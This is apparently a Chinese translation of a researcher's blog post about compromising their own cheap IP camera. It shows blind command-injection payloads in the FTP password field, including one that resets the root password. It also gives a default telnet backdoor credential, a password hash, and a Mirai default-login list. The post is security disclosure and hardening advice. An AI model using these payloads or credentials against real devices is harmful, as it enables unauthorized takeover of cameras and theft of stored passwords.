我是如何黑进我的IP摄像头并发现后门账户的

本文详细记录了作者如何通过命令注入漏洞攻破廉价IP摄像头,发现默认telnet后门(root:123456),并分析摄像头存在的云协议安全隐患、固件缺陷等物联网设备典型安全问题。

Jump ESP, jump!: 我是如何黑进我的IP摄像头,并发现这个后门账户的

时机已到。我购买了第二台物联网设备——一台廉价的IP摄像头。作为同类产品中最便宜的选择,我对它的安全性本就不抱期望。但这台摄像头还是让我大吃一惊。

也许我稍后会在博客中披露这款摄像头的型号,但首先我会尝试联系相关人员反映这些问题。不幸的是,由于许多摄像头都基于同一套SDK开发,这个问题似乎普遍存在。对此,我的期望值同样很低。

显而易见的问题

开箱后,迎接我的是一个4位数字的密码。这是"admin"用户的密码,该账户可以配置设备、观看视频输出等。反正大多数人也不会费心去修改它。

显然,这台摄像头支持有线以太网和WiFi连接。幸运的是它支持WPA2加密,但用户当然也可以配置为开放的不加密WiFi。

通过嗅探摄像头与桌面应用之间的流量,很容易发现它们通过81端口的HTTP通信。会话管理机制堪称"天才"——每个GET请求都明文发送用户名和密码。通过HTTP。通过可能开放的WiFi。当你忘记密码时这真的很方便,但幸运的是桌面应用已经以明文形式将密码保存在: C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat

这台贴心的摄像头还通过UDP与云端通信。目标服务器位于香港(user.ipcam.hk/user.easyn.hk)和中国(op2.easyn.cn/op3.easyn.cn)。如果你好奇为什么IP摄像头需要云连接,答案很简单。这款IP摄像头有Android和iOS移动应用,通过云端服务,用户无需配置端口转发或动态DNS就能访问摄像头。真贴心。

快速nmap扫描结果

1
2
3
4
5
6
7
8
9
PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

已知的HTTP服务器,通过BusyBox的telnet服务器,以及8600端口(尚未检查)。27页的在线手册完全没有提及这个Telnet端口。我们该怎么称呼这个端口?调试端口?还是后门端口?我们拭目以待。我手动尝试了3个root用户的密码,但都没有成功,于是继续探索。

双重盲注命令注入

IP摄像头可以按计划将照片上传到配置的FTP服务器。当我配置时,它完全无法工作,服务器报错用户名/密码无效。经过调试发现问题出在密码中包含特殊字符$。这才是真正冒险的开始。我确信这是一个命令注入漏洞,但不确定如何利用。多重因素使得利用更加困难。我称这个漏洞为"双重盲注命令注入"。第一重"盲"是因为我们看不到命令输出,第二重"盲"是因为命令运行在与Web服务器不同的进程中,因此任何涉及sleep的时间盲注都不是真正的解决方案。

但第三个问题最严重:限制32个字符。我通过DNS泄露了一些信息,比如用以下命令可以看到当前目录:

1
2
3
$(ping%20-c%202%20%60pwd%60)
URL解码后
$(ping -c 2 `pwd`)

但当我尝试从/etc/passwd泄露信息时都失败了。我尝试了$(reboot),结果证明这是个糟糕的主意——摄像头陷入无限重启循环,而且硬件复位按钮也失效了。真是"有趣"的时刻。

以下是我拼命尝试获取shell访问权限的一些例子。在此要感谢EQ在黑客之夜的帮助和他的好点子。

1
2
3
4
$(cp /etc/passwd /tmp/a)     ;复制/etc/passwd到较短文件名的文件
$(cat /tmp/a|head -1>/tmp/b) ;筛选第一行
$(cat</tmp/b|tr -d ' '>/tmp/c) ;过滤不需要的字符
$(ping `cat /tmp/c`)         ;通过DNS泄露

当我最终黑进摄像头后,发现了问题所在:设备上没有head、tr、less、more或cut命令…也没有netcat或bash…

我还尝试了commix,它在YouTube上看起来很强大。可以把commix想象成sqlmap,但是用于命令注入。不幸的是,这个双重盲注对自动化工具来说太难了。

芝麻开门

在花费了过多时间却毫无进展后,我终于找到了"芝麻开门"的密码:

1
$(echo 'root:passwd'|chpasswd)

现在,通过telnet登录:

1
2
3
4
5
6
(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

太棒了 :) 我很快发现了命令注入问题的根源:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

当在FTP密码字段输入命令时,它会被复制到这个脚本中,脚本被调度执行后,命令会被shell解释执行。之后我开始惊慌,因为我忘记保存/etc/passwd文件内容了,怎么破解默认telnet密码?“幸运的是”,重启摄像头恢复了原始密码。

1
root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

不需要启动老牌的John The Ripper,因为Google会告诉你这是密码123456的hash。这比行李箱密码稍微安全一点。

现状总结

IP摄像头上有一个未文档化的telnet端口,默认可以通过root:123456访问,没有GUI可以修改这个密码,通过控制台修改也只能维持到下次重启。我认为这完全可以称为后门。

通过这个控制台访问,我们可以获取FTP服务器密码、SMTP服务器密码(用于警报)、WiFi密码(虽然可能已经掌握),访问摄像头的常规管理界面,或者直接按我们想要的方式修改摄像头。在大多数部署中,幸运的是这个telnet端口位于NAT或防火墙之后,无法从互联网访问。但总有例外。幸运的是,UPNP不会将Telnet端口开放到互联网,只会开放摄像头HTTP端口81。你知道的,就是默认用4位数字密码保护的那个。

最后但同样重要的是,所有东西都以root权限运行,这并不令人惊讶。

我的加固方案

我在/system/init/ipcam.sh末尾添加了这些行:

1
2
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

如果你想,也可以通过注释掉/system/init/ipcam.sh中的telnetd来禁用telnet服务。

如果你想禁用云连接(这会使移动应用无法使用),在/system/init/ipcam.sh开头添加以下行:

1
iptables -A OUTPUT -p udp ! --dport 53 -j DROP

你可以使用OpenVPN连接到家庭网络并访问摄像头的Web界面。这在Android、iOS和任何桌面操作系统上都有效。

我的待办清单

  • 调查脚本/system/system/bin/gmail_thread
  • 调查云协议* - 参见2016年10月27日更新
  • 购买树莓派,集成好的USB摄像头,看着这台IP摄像头烧毁

快速谷歌搜索显示,我并不是第一个在IP摄像头中发现这个telnet后门账户的人,尽管其他人是通过JTAG固件转储发现的。

而99%购买这些IP摄像头的人认为有了它就会安全。现在我明白随摄像头附送的贴纸是什么意思了。

当下一次在《黑客军团》中看到有人用root:123456通过telnet登录IP摄像头时,你会知道,这就是可悲的现实。

如果你对保护家庭免受物联网威胁的通用方法感兴趣,可以阅读我之前关于此话题的博客文章。

更新:如以下截图所示,坏人已经开始利用这个问题… https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

更新20161006:Mirai源代码上周泄露,这些是物联网设备可能出现的最糟糕密码。如果你的物联网设备开放了Telnet端口(或SSH),扫描这些用户名/密码对:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root     xc3511
root     vizxv
root     admin
admin    admin
root     888888
root     xmhdipc
root     default
root     juantech
root     123456
root     54321
support  support
root     (none)
admin    password
root     root
root     12345
user     user
admin    (none)
root     pass
admin    admin1234
root     1111
admin    smcadmin
admin    1111
root     666666
root     password
root     1234
root     klv123
Administrator admin
service  service
supervisor supervisor
guest    guest
guest    12345
guest    12345
admin1   password
administrator 1234
666666   666666
888888   888888
ubnt     ubnt
root     klv1234
root     Zte521
root     hi3518
root     jvbzd
root     anko
root     zlxx.
root     7ujMko0vizxv
root     7ujMko0admin
root     system
root     ikwb
root     dreambox
root     user
root     realtek
root     00000000
admin    1111111
admin    1234
admin    12345
admin    54321
admin    123456
admin    7ujMko0admin
admin    1234
admin    pass
admin    meinsm
tech     tech
mother   fucker

更新2016年10月27日:正如我在多个会议上提到的,云协议是一场噩梦。它是明文的,即使你在路由器上禁用了端口转发/UPNP,只要攻击者知道(可暴力破解的)摄像头ID,云协议仍然允许任何人连接摄像头。虽然这只是用户界面,但现在攻击者可以利用命令注入以root权限执行代码。或者直接获取摄像头配置,包括WiFi、FTP、SMTP密码。 YouTube视频:https://www.youtube.com/watch?v=18_zTjsngD8 幻灯片(29页起):https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

更新2017-03-08:“由于代码重用,这些漏洞存在于大量摄像头中(特别是信息泄露和远程代码执行漏洞),使我们能够对1250多种摄像头型号执行预认证漏洞攻击。“https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

更新2017-05-11:CVE-2017-5674(见上文)和我的命令注入漏洞被组合用在Persirai僵尸网络中。预计很快会有12万台摄像头被感染。如果你家里还有这样的摄像头,请考虑Amit Serper的建议:“保证受影响摄像头安全的唯一方法就是把它扔掉。我是认真的。” 这个问题可能比Mirai蠕虫更严重,因为它影响了启用UPnP的NAT后的摄像头和其他物联网设备。 http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计